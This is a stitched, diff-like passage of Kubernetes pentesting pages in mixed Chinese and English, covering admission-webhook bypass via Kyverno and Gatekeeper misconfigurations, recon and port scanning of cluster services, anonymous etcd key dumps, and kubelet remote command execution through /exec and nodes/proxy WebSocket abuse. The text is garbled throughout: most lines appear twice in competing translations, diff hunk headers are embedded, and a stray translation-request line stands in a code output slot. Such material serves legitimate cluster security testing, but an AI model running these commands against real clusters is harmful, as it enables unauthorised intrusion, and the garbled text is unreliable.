- policy engine 是否还暴露 exception resources、被排除的 users 或被排除的 groups
- `failurePolicy` 是使用 `Ignore` fail open,还是使用 `Fail` fail closed
- webhook service 是否可达、是否配置的 `caBundle` 信任,以及是否由高权限的 service account 运行?
- policy engine 是否还暴露 exception resources、excluded users 或 excluded groups
**示例**
**Example**
下面是一个 ValidatingWebhookConfiguration 的示例:
这里是一个 ValidatingWebhookConfiguration 的示例:
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
@@ -53,12 +53,12 @@ matchExpressions:
operator: NotIn
values: ["kube-system"]
```
The main difference between a ValidatingWebhookConfiguration and policies :
ValidatingWebhookConfiguration policies 之间的主要区别是:
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : 一个 Kubernetes 资源,用于定义一个 validating webhook,它是一个服务端组件,用根据一组预定义的规则和约束来验证传入的 Kubernetes API 请求
- **Kyverno ClusterPolicy**: 一个 policy 定义,指定一组用于验证和强制执行 Kubernetes 资源的规则和约束,例如 pods、deployments 和 services
- **ValidatingWebhookConfiguration (VWC)**一个 Kubernetes resource定义一个 validating webhook,它是一个 server-side 组件,用根据一组预定义的规则和约束来验证传入的 Kubernetes API requests
- **Kyverno ClusterPolicy**:一种 policy 定义,用于指定一组规则和约束,以验证和强制执行 Kubernetes resources,例如 pods、deployments 和 services
## Enumeration
```
@@ -69,34 +69,55 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook
```
Fields to inspect:
- `rules`: 检查盖的 API groups、versions、resources、subresources、operations 和 scope。
- `namespaceSelector` / `objectSelector`: 查找会将 resources 排除在 policy 之外的 namespaces 或 labels
- `rules`: 检查盖的 API groups、versions、resources、subresources、operations 和 scope。
- `namespaceSelector` / `objectSelector`: 查看是否有 namespace 或 labels 会将资源排除在 policy 之外
- `matchConditions`: CEL expressions 可能会有意或无意地跳过 requests。
- `failurePolicy`: `Ignore` 在 webhook 失败时 requests 继续`Fail` 会阻止它们。
- `sideEffects`: 有 side effects 的 webhooks 可能不支持 dry-run testing。
- `timeoutSeconds`: 非常短的超时再加上 `Ignore` 可能变成 fail-open 行为。
- `clientConfig`: 检查 webhook 指向的是集群内的 Service 还是 external URL,并检查对应的 backing workload 和 service account。
- `failurePolicy`: `Ignore` 允许在 webhook 失败时继续处理 requests`Fail` 会阻止它们。
- `sideEffects`: 有 side effects 的 Webhooks 可能不支持 dry-run testing。
- `timeoutSeconds`: 非常短的 timeouts 与 `Ignore` 结合时,可能变成 fail-open 行为。
- `clientConfig`: 检查 webhook 指向集群内的 Service 还是 external URL,并审查其 backing workload 和 service account。
- `reinvocationPolicy`: 当后续 mutation 改变 object 时,mutating webhooks 可能会被重新调用。
### Native CEL admission policies
现代 clusters 也可以用 `admissionregistration.k8s.io` 中的原生 policy objects 来强制执行 admission logic,而不只是使用 webhook configurations。`ValidatingAdmissionPolicy` 是一个进程内基于 CEL 的 validating webhooks 替代方案,并且只有在 `ValidatingAdmissionPolicyBinding` 选择它时才会生效。`MutatingAdmissionPolicy` 在 Kubernetes v1.36 中已经稳定,并由 `MutatingAdmissionPolicyBinding` 激活,用于 CEL 生成的 mutations。
Enumerate them with:
```bash
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
kubectl get validatingadmissionpolicy <name> -o yaml
kubectl get validatingadmissionpolicybinding <name> -o yaml
```
Security checks:
- 没有 binding 的 policy 不会强制执行任何内容。
- binding 上的 `validationActions` 决定 validation failures 是被 denied、warned、audited,还是只被 recorded。
- `failurePolicy: Ignore` 允许 CEL evaluation errors 或 misconfiguration fail open。
- `matchConstraints``matchConditions``namespaceSelector``objectSelector` 可以排除敏感请求。
- `paramKind``paramRef` 可以让 ConfigMaps 或基于 CRD 的 parameter objects 成为 policy boundary 的一部分;要检查谁可以修改这些 parameter objects。
- 对 policies、bindings 和 parameter resources 的写入应被视为特权 admission-control 更改。
### Abusing Kyverno and Gatekeeper VWC
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
如我们所见,所有已安装的 operators 至少都有一个 ValidatingWebHookConfiguration(VWC)
**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
**Kyverno** **Gatekeeper** 都是 Kubernetes policy engines,它们提供了一个框架,用于在整个 cluster 中定义和强制执行 policies。
Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
Exceptions 指的是在特定规则或条件下允许绕过或修改 policy 的情况,但这不是唯一的方法!
For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
对于 **kyverno**,只要存在一个 validating policywebhook `kyverno-resource-validating-webhook-cfg` 就会被填充。
For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
对于 Gatekeeper,有 `gatekeeper-validating-webhook-configuration` YAML file
Both come from with default values but the Administrator teams might updated those 2 files.
两者都来自默认值,但 Administrator teams 可能已经更新了这两个文件。
### Use Case
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
请提供要识别/翻译的具体输出内容。
请提供要识别输出内容。
```yaml
namespaceSelector:
matchExpressions:
@@ -109,22 +130,22 @@ values:
- kube-system
- MYAPP
```
Here, `kubernetes.io/metadata.name` 指的是 namespace name label`values` 列表中的 namespace 会被排除在 policy 之外
这里,`kubernetes.io/metadata.name` 指的是 namespace 名称标签`values` 列表中名称对应的 namespaces 会被 policy 中排除
检查 namespace 是否存在。有时由于自动化或 misconfiguration,某些 namespace 可能尚未创建。如果你有创建 namespace 的权限,你可以创建一个名字在 `values` 列表中的 namespacepolicy 就不会应用到你的新 namespace。
检查 namespaces 是否存在。有时由于自动化或配置错误,某些 namespaces 可能尚未创建。如果你有创建 namespace 的权限,你可以创建一个名称位于 `values` 列表中的 namespacepolicies 将不会应用到你的新 namespace。
攻击的目标是利用 VWC **misconfiguration**绕过 operator 限制,然后使用其他技提升你的 privileges
攻击的目标是利用 VWC 内部**misconfiguration**,从而绕过 operators 限制,然后用其他技提升你的权限
其他常见的绕过或滥用模式:
其他常见的 bypass 或 abuse 模式:
- `objectSelector` 允许用户自己的 object 添加一个 opt-out label
- 在安全关键的 validation 上使用 `failurePolicy: Ignore`,尤其是 webhook Service 没有 endpoints 或网络不可靠时。
- policy engine 对用户、groups、service accounts、namespaces 或 roles 的 exception 范围比预期更宽。
- 缺少对 workload controller templates、`pods/ephemeralcontainers``pods/exec`、custom resources 或 update operations 的覆盖。
- 对 `validatingwebhookconfigurations``mutatingwebhookconfigurations`、Gatekeeper constraints、Kyverno policies 或 exception resources 有写权限。
- 一个 `objectSelector`允许用户自己的 objects 添加一个 opt-out 标签
- 在安全关键的 validation 上使用 `failurePolicy: Ignore`,尤其是 webhook Service 没有 endpoints 或网络不可靠时。
- policy engine 对 users、groups、service accounts、namespaces 或 roles 的 exceptions 范围比预期更宽。
- 缺少对 workload controller templates、`pods/ephemeralcontainers``pods/exec`、custom resources 或 update 操作的覆盖。
- 对 `validatingwebhookconfigurations``mutatingwebhookconfigurations`、Gatekeeper constraints、Kyverno policies 或 exception resources 有写权限。
- 恶意的 mutating webhook 在 validation 之前注入 containers、修改 images、挂载 secrets、添加 tolerations,或更改 service account 选择。
记住,admission 只保护那些过 API server admission chain 的请求。Static Pods、node-local runtime socket access、直接滥用 kubelet,以及直接访问 etcd 都属于不同的 trust paths,需要单独加强防护和监控。
记住,admission 只保护那些过 API server admission chain 的 requests。Static Pods、node-local runtime socket access、直接滥用 kubelet,以及直接访问 etcd 都属于不同的信任路径,需要单独加和监控。
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
@@ -2,25 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes 使用几种 **特定的 network services**,你可能会发现它们 **暴露到 Internet**,或者在你已经 compromise 了一个 pod 之后,出现在 **internal network** 中。
Kubernetes 使用几种 **specific network services**,你可能会发现它们 **Internet 上暴露**,或者在 **internal network**,一旦你 compromise 了一个 pod 后就能看到
## Finding exposed pods with OSINT
一种方法是,在 [crt.sh](https://crt.sh) 中搜索 `Identity LIKE "k8s.%.com"` 来查找与 kubernetes 相关的子域名。另一种方法是在 github 中搜索 `"k8s.%.com"`,并查找包含该字符串的 **YAML files**
一种方法是搜索 [crt.sh](https://crt.sh) 中 `Identity LIKE "k8s.%.com"`,以找到与 kubernetes 相关的子域名。另一种方法可能是在 github 中搜索 `"k8s.%.com"`,并查找包含该字符串的 **YAML files**
在扫描前,先关联这些有用的 external recon signals
在扫描前可用于关联的有用外部 recon 信号
- 包含 `k8s``kube``api``apiserver``eks``gke``aks``cluster``ingress``argocd``grafana``prometheus``harbor``registry``dashboard``dev``stage` 或 region names 的 DNS 和 certificate transparency names
- Cloud load balancer names、CNAMEs、tags 和 provider hostnames,它们可以把一个暴露的 application 或 platform UI 关联回某个 cluster。
- Public repositories、CI logs、Helm values、Terraform state、rendered manifests、container images 和文档中泄漏的 kubeconfigs、API server URLs、namespaces、service accounts、`type: LoadBalancer``type: NodePort`、Ingress hosts、Gateway listeners 或 dashboard settings。
- 当 cloud credentials 在范围内时,Managed Kubernetes inventoryEKS endpoint 的 public/private access 和 public CIDRsGKE public/private control-plane settings 和 authorized networks,以及 AKS private cluster/API server authorized IP settings。
- 包含 `k8s``kube``api``apiserver``eks``gke``aks``cluster``ingress``argocd``grafana``prometheus``harbor``registry``dashboard``dev``stage` 或 region names 的 DNS 和 certificate transparency 名称
- Cloud load balancer names、CNAMEs、tags 和 provider hostnames,它们可以把暴露的应用或 platform UI 关联回某个 cluster。
- Public repositories、CI logs、Helm values、Terraform state、rendered manifests、container images 和 documentation,泄露 kubeconfigs、API server URLs、namespaces、service accounts、`type: LoadBalancer``type: NodePort`、Ingress hosts、Gateway listeners 或 dashboard settings。
- 当 cloud credentials 在范围内时,可查看 managed Kubernetes inventoryEKS endpoint 的 public/private access 和 public CIDRsGKE public/private control-plane settings 和 authorized networks,以及 AKS private cluster/API server authorized IP settings。
- 集群周围暴露的 platform tools,例如 Argo CD、Prometheus、Grafana、Harbor、registries、CI/CD dashboards、service mesh dashboards,以及 ingress-controller admin 或 metrics endpoints。
把这些当作 attribution 和 prioritization 线索。Public Ingress application 在多 clusters 中都很正常,而暴露的 kubelet、etcd、dashboard、CI/CD deploy control,或泄的 kubeconfig material 应该被更高优先级处理
把这些当作归属和优先级线索。Public Ingress application 在多 cluster 中都很正常,而暴露的 kubelet、etcd、dashboard、CI/CD deploy control,或泄的 kubeconfig material 应该优先级高得多
## How Kubernetes Exposes Services
了解 Kubernetes 如何 **公开暴露 services** 可能对你有帮助,以便找到它们:
了解 Kubernetes 如何 **公开暴露 services** 可能对你有帮助,这样你才能找到它们:
{{#ref}}
../exposing-services-in-kubernetes.md
@@ -28,7 +28,7 @@ Kubernetes 使用几种 **特定的 network services**,你可能会发现它
## Finding Exposed pods via port scanning
以下 ports 可能在 Kubernetes cluster 中开放:
以下端口可能在 Kubernetes cluster 中开放
| Port | Process | Description |
| --------------- | -------------- | ---------------------------------------------------------------------- |
@@ -55,7 +55,7 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
这是管理员通常使用工具 **`kubectl`** 与之交互的 **API Kubernetes service**
**常见端口:6443 和 443**,但 minikube 中也有 8443另外 8080 作为 insecure 端口。
**常见端口:6443 和 443**,但 minikube 中也有 8443并且 8080 作为不安全端口。
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
@@ -69,9 +69,9 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
这个服务**运行在集群中的每个 node**。它是**控制** **node** pods 的服务。它与 **kube-apiserver** 通信。
这个 service **run in every node of the cluster**。它是负责**control** **node** pods 的 service。它**kube-apiserver** 通信。
如果你发现这个服务暴露了,你可能已经找到了一个**unauthenticated RCE**。
If you find this service exposed you might have found an **unauthenticated RCE**.
#### Kubelet API
```bash
@@ -80,7 +80,7 @@ curl -k https://<IP address>:10250/pods
```
如果响应是 `Unauthorized`,则需要认证。
如果你可以列出 nodes,你可以通过以下方式获取 kubelets endpoints 列表:
如果你可以列出 nodes,你可以通过以下方式获取 kubelets endpoints 列表:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
@@ -89,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```
#### kubelet (只读)
#### kubelet只读
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
@@ -104,25 +104,25 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```bash
helm --host tiller-deploy.kube-system:44134 version
```
你可以滥用这个 service 在 Kubernetes 内提权:
你可以滥用这个 service 在 Kubernetes 内提权:
### cAdvisor
用于收集 metrics 的有用 service。
用于收集 metrics 的 service。
```bash
curl -k https://<IP Address>:4194
```
### NodePort
当一个端口通过 **NodePort** 在所有节点上暴露时,所有节点都会打开同一个端口,并将流量代理到声明的 **Service**。默认情况下,这个端口会 **30000-32767** 范围内。因此,新的未检查的 services 可能会通过这些端口被访问。
当一个端口通过 **NodePort** 在所有节点上暴露时,所有节点都会打开同一个端口,并将流量代理到声明的 **Service**。默认情况下,这个端口会处于 **range 30000-32767**。因此,新的未检查的 services 可能会通过这些端口被访问。
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
### Service mesh and proxy surfaces
使用 **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** 的集群会增加一层需要枚举的服务层。mesh 可以提供 mTLS、workload identity、L7 路由、authorization policy、telemetry,以及 gateway/egress 控制,但它只保护实际已加入并被 mesh 拦截的流量。
使用 **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** 的集群会增加一层需要枚举的 service 层。mesh 可以提供 mTLS、workload identity、L7 routing、authorization policy、telemetry,以及 gateway/egress controls,但它只保护那些实际已加入并被 mesh 拦截的流量。
从 Kubernetes access 可进行的有用检查:
从 Kubernetes access 可进行的有用检查:
```bash
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
@@ -145,31 +145,41 @@ Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicie
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
Anonymous access to **kube-apiserver resource APIs should not be allowed**. Health endpoints such as `/livez`, `/readyz`, and `/healthz` may be intentionally reachable, especially when the API server uses `AuthenticationConfiguration` to scope anonymous requests to specific paths. Treat health or version responses as reachability evidence; the critical issue is a `200` response for real resource APIs such as namespaces, Secrets, Pods, RBAC objects, metrics, logs, or proxy subresources without valid credentials.
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
Useful checks:
```bash
APISERVER='https://<api-server>:6443'
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
```
如果 resource APIs 返回 `403`,API server 可能已将该请求归类为 `system:anonymous`,但 authorization 阻止了它。如果 resource APIs 在没有 credentials 的情况下返回 `200`,请查找指向 `system:anonymous``system:unauthenticated` 的 RoleBindings 或 ClusterRoleBindings、宽松的 authorizer-chain 配置,或者前端 authentication 错误。
### **Checking for ETCD Anonymous Access**
ETCD 存储集群 secrets、配置文件以及更多 **sensitive data**默认情况下,ETCD **cannot****匿名** 方式访问,但最好还是检查一下。
ETCD 存储 cluster secrets、configuration files 以及更多 **sensitive data****默认**情况下,ETCD **不能**被**匿名**访问,但最好还是检查一下。
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
如果 ETCD 可以被匿名访问,你可能需要**使用** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**。下面的命令会获取存储的所有 keys:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) 说明,**默认**情况下,允许对该服务进行**匿名访问**
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) 说明,**默认情况下**,对该服务的**anonymous acce**ss 是**允许的:**
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
要更好地理解 **Kubelet API 的 authentication 和 authorization 如何工作**,请查看页面:
要更好地理解 **Kubelet API 的 authentication 和 authorization 如何工作**,请查看这个页面:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
**Kubelet** 服务的 **API 没有文档**,但源代码可以在这里找到,发现暴露的 endpoints 就像**运行**以下命令一样简单
**Kubelet** 服务的 **API is not documented**,但其 source code 可以在这里找到,发现暴露的 endpoints 很简单,只需**运行**
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -181,9 +191,9 @@ Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
它们都听起来很有
它们都听起来很有意思
你可以使用 [**Kubeletctl**](https://github.com/cyberark/kubeletctl) 工具与 Kubelet 及其 endpoints 交互。
你可以使用 [**Kubeletctl**](https://github.com/cyberark/kubeletctl) 工具与 Kubelets 及其 endpoints 交互。
#### /pods
@@ -193,18 +203,18 @@ kubeletctl pods
```
#### /exec
这个 endpoint 可以非常容易地在任何 container 内执行 code:
这个 endpoint 允许非常容易地在任何 container 内执行 code:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> 为避免攻击,_**kubelet**_ 服务应使用 `--anonymous-auth false` 运行,并且该服务应在网络层面进行隔离。
> 为避免这种攻击,_**kubelet**_ 服务应使用 `--anonymous-auth false` 运行,并且该服务应在网络层面进行隔离。
### **检查 Kubelet(只读端口)信息暴露**
### **Checking Kubelet (Read Only Port) Information Exposure**
**kubelet 只读端口** 暴露时,未授权方就可能从 API 中检索信息。该端口的暴露可能导致**cluster 配置元素** 泄露。尽管这些信息,包括 **pod 名称、内部文件位置以及其他配置**,可能并不关键,但其暴露仍会带来安全风险,应当避免。
暴露了 **kubelet read-only port** 时,未授权方就可能从 API 中获取信息。该端口的暴露可能导致**cluster configuration elements** 泄露。虽然这些信息,包括 **pod names、内部文件位置以及其他配置**,可能并不关键,但其暴露仍会带来安全风险,应当避免。
此漏洞可被利用的一个示例是远程攻击者访问特定 URL。通过访问 `http://<external-IP>:10255/pods`,攻击者可能从 kubelet 中检索到敏感信息:
这种漏洞的一个利用示例是远程攻击者访问一个特定 URL。通过访问 `http://<external-IP>:10255/pods`,攻击者可能从 kubelet 中提取敏感信息:
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
@@ -1,25 +1,25 @@
# Kubelet 认证与授权
# Kubelet Authentication & Authorization
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet 认证 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**来自官方文档:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
默认情况下,发送到 kubelet 的 HTTPS 端点的请求(若未被其他配置的认证方法拒绝)将被视为匿名请求,并被赋予 **用户名为 `system:anonymous`****组为 `system:unauthenticated`**
默认情况下, kubelet 的 HTTPS endpoint 发出的请求,如果没有被其他配置的 authentication methods 拒绝,会被视为 anonymous requests,并被赋予 **username `system:anonymous`****group `system:unauthenticated`**
以下是 **3** 种认证 **方法**
**3** 个 authentication **methods**
- **匿名** (默认): 通过设置参数 **`--anonymous-auth=true` 或在配置中:**
- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**:这将**启用** kubectl **API bearer tokens** 作为授权(任何有效的 token 都会被视为有效)。通过以下方式允许:
- 确保在 API 服务器中启用了 `authentication.k8s.io/v1beta1` API
- 使用 **`--authentication-token-webhook`** 和 **`--kubeconfig`** 标志启动 kubelet,或使用以下设置
- **Webhook**: 这将 **enable** kubectl **API bearer tokens** 作为 authorization(任何 valid token 都会有效)。通过以下方式允许
- ensure `authentication.k8s.io/v1beta1` API group 在 API server 中已启用
- 使用 **`--authentication-token-webhook`** 和 **`--kubeconfig`** 标志启动 kubelet,或使用以下 setting
```json
"authentication": {
"webhook": {
@@ -28,11 +28,11 @@
},
```
> [!NOTE]
> kubelet 配置的 API server 上调用 **`TokenReview` API**,从 bearer tokens 确定用户信息
>
- **X509 client certificates:** 允许通过 X509 客户端证书进行认证
- 参见 [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) 获取更多详情
- 使用 `--client-ca-file` 参数启动 kubelet,提供一个 CA bundle 用于验证客户端证书。或者使用配置
> kubelet 会调用配置的 API server 上 **`TokenReview` API****determine user information** from bearer tokens
- **X509 client certificates:** 允许通过 X509 client certs 进行 authentication
- 查看 [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) 了解更多细节
- 使用 `--client-ca-file` 参数启动 kubelet,提供一个 CA bundle 来验证 client certificates。或者使用 config
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@
}
}
```
## Kubelet 授权 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
任何成功证的请求(包括匿名请求)**随后会被授权**。**默认**的授权模式**`AlwaysAllow`**,它**允许所有请求**。
任何成功通过身份验证的请求(包括匿名请求)**随后会被授权**。**默认**的 authorization mode **`AlwaysAllow`**,它**允许所有请求**。
然而,另一个可能的值是 **`webhook`**(这也是你在实际环境中**最常看到的**)。模式会**检查已认证用户的权限**以决定是否允许某个操作
不过,另一个可能的值是 **`webhook`**(这也是你**大多会遇到的**)。这种模式会**检查已认证用户的权限**,以允许或拒绝某个 action
> [!WARNING]
> 注意,即使**匿名认证已启用**,**匿名访问**也可能**没有任何权限**来执行任何操作
> 注意,即使**匿名认证已启用**,**匿名访问**也可能**没有任何权限**来执行任何 action
通过 webhook 进行的授权可以通过**参数 `--authorization-mode=Webhook`**或通过配置文件来配置
通过 webhook 的 authorization 可以使用 **param `--authorization-mode=Webhook`** 配置,或者通过 config file 使用
```json
"authorization": {
"mode": "Webhook",
@@ -59,11 +59,11 @@
}
},
```
kubelet 在配置的 API server 上调用 **`SubjectAccessReview`** API **确定** 每个请求是否被 **授权**
kubelet 在配置的 API server 上调用 **`SubjectAccessReview`** API **确定** 每个请求是否被 **授权**
kubelet 使用与 apiserver 相同的 [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) 方法来授权 API 请求:
- **操作**
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -71,9 +71,9 @@ kubelet 使用与 apiserver 相同的 [request attributes](https://kubernetes.io
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- 与 Kubelet API 通信的 **resource** 始终是 **nodes****subresource** 根据传入请求的路径 **确定**
- 与 Kubelet api 通信的 **resource** 始终是 **nodes****subresource** 则根据传入请求的 path 来 **确定**
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
@@ -81,23 +81,38 @@ kubelet 使用与 apiserver 相同的 [request attributes](https://kubernetes.io
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| /checkpoint/\* | nodes | checkpoint |
| _all others_ | nodes | proxy |
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
在现代集群中,细粒度的 kubelet authorization 默认启用。Kubernetes v1.36 将其设为 stablekubelet 会先检查 `/pods``/runningPods``/healthz``/configz` 这类路径更具体的 subresource,然后再为兼容旧版本回退到 `nodes/proxy`
例如,下面的请求尝试在没有权限的情况下访问 kubelet 的 pods 信息:
| Kubelet API | preferred subresource | fallback |
| ----------- | --------------------- | -------- |
| /pods | nodes/pods | nodes/proxy |
| /runningPods/ | nodes/pods | nodes/proxy |
| /healthz | nodes/healthz | nodes/proxy |
| /configz | nodes/configz | nodes/proxy |
在可能的情况下,监控和诊断应使用这些更窄的 subresource。避免为普通 metrics、stats、health、pod 列表或 config 检查授予宽泛的 `nodes/proxy`,因为 `nodes/proxy` 仍然覆盖更高影响的 kubelet API。
> [!NOTE]
> 基于 WebSocket 的 `/exec``/run``/attach``/portforward` 会落入默认的 **proxy** subresource,并通过初始的 HTTP **GET** 握手进行授权。只有 `nodes/proxy` **GET** 的主体,仍然可以在直接连接到 `https://<node_ip>:10250` 的 WebSockets 上 exec 容器。详情参见 [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion)。
kubelet Checkpoint API`POST /checkpoint/<namespace>/<pod>/<container>`)也是另一个敏感的 kubelet surface。Kubernetes v1.30 将容器 checkpointing 设为 beta 并默认启用,但请求仍然依赖 kubelet authorization 以及运行时支持,例如带有 checkpoint/CRIU 能力的 CRI-O 或 containerd。成功的 checkpoint 会写入 kubelet root directory 下,默认是 `/var/lib/kubelet/checkpoints`,其中可能包含带有 tokens、keys 或 application secrets 的进程内存。应限制 `nodes/checkpoint`,禁用旧的 read-only port,限制直接访问 kubelet 的网络可达性,并在该功能被有意使用时监控或清理 checkpoint archives。
例如,以下请求尝试在没有权限的情况下访问 kubelet 的 pods 信息:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- 我们到了一个 **Forbidden**,所以该请求**通过了认证检查**。如果没有,我们只会收到一个 `Unauthorised` 消息。
- 我们可以看到**用户名**(在本例中来自 token
- 注意 **resource** **nodes****subresource** 为 **proxy**(这与前的信息一致
- 我们到了一个 **Forbidden**,所以该请求 **通过了 Authentication 检查**。如果没有通过,我们只会收到 `Unauthorised` 消息。
- 我们可以看到 **username**(在这个例子里来自 token
- 检查 **resource** 是如何变成 **nodes**以及 **subresource** **proxy** 是如何出现的(这与前的信息相符
## 参考
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}